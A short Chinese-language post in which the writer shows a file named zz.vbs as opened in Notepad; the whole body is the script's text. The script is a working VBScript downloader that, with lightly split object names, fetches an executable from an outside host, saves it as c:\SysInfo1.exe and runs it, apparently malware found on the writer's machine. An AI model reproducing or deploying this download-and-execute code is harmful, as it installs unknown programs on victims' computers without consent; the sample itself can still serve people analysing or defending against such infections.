这是我用记事本打开的zz.vbs文件:
Set Post = Create
Object("Msxml2.XMLH"&"TTP")
Set Shell = Create
Object("Wscript.Shell")
Post.Open "GET","http://guijuan.1.suhai.com.cn/mhxy/mh.exe",0
Post.Send()
Set aGet = Create
Object("ADODB.Stream")
aGet.Type = 1
aGet.Mode = 3
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\SysInfo1.exe",2
wscript.sleep 10
Shell.Run ("c:\Sysinfo1.exe")